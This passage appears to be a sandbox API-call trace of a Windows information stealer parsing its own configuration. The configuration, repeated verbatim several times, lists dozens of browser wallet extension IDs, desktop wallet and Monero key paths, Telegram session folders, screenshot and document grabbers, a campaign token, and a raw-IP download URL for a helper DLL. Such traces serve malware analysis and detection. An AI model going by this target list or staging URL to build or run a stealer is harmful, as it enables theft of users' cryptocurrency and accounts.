Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.351] lstrlenW (lpString="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4635 [0259.351] LocalAlloc (uFlags=0x40, uBytes=0x24b6) returned 0x6eca28 [0259.351] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0259.352] LocalFree (hMem=0x6eca28) returned 0x0 [0259.352] StrStrW (lpFirst="libs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.352] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0259.352] StrStrW (lpFirst="sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 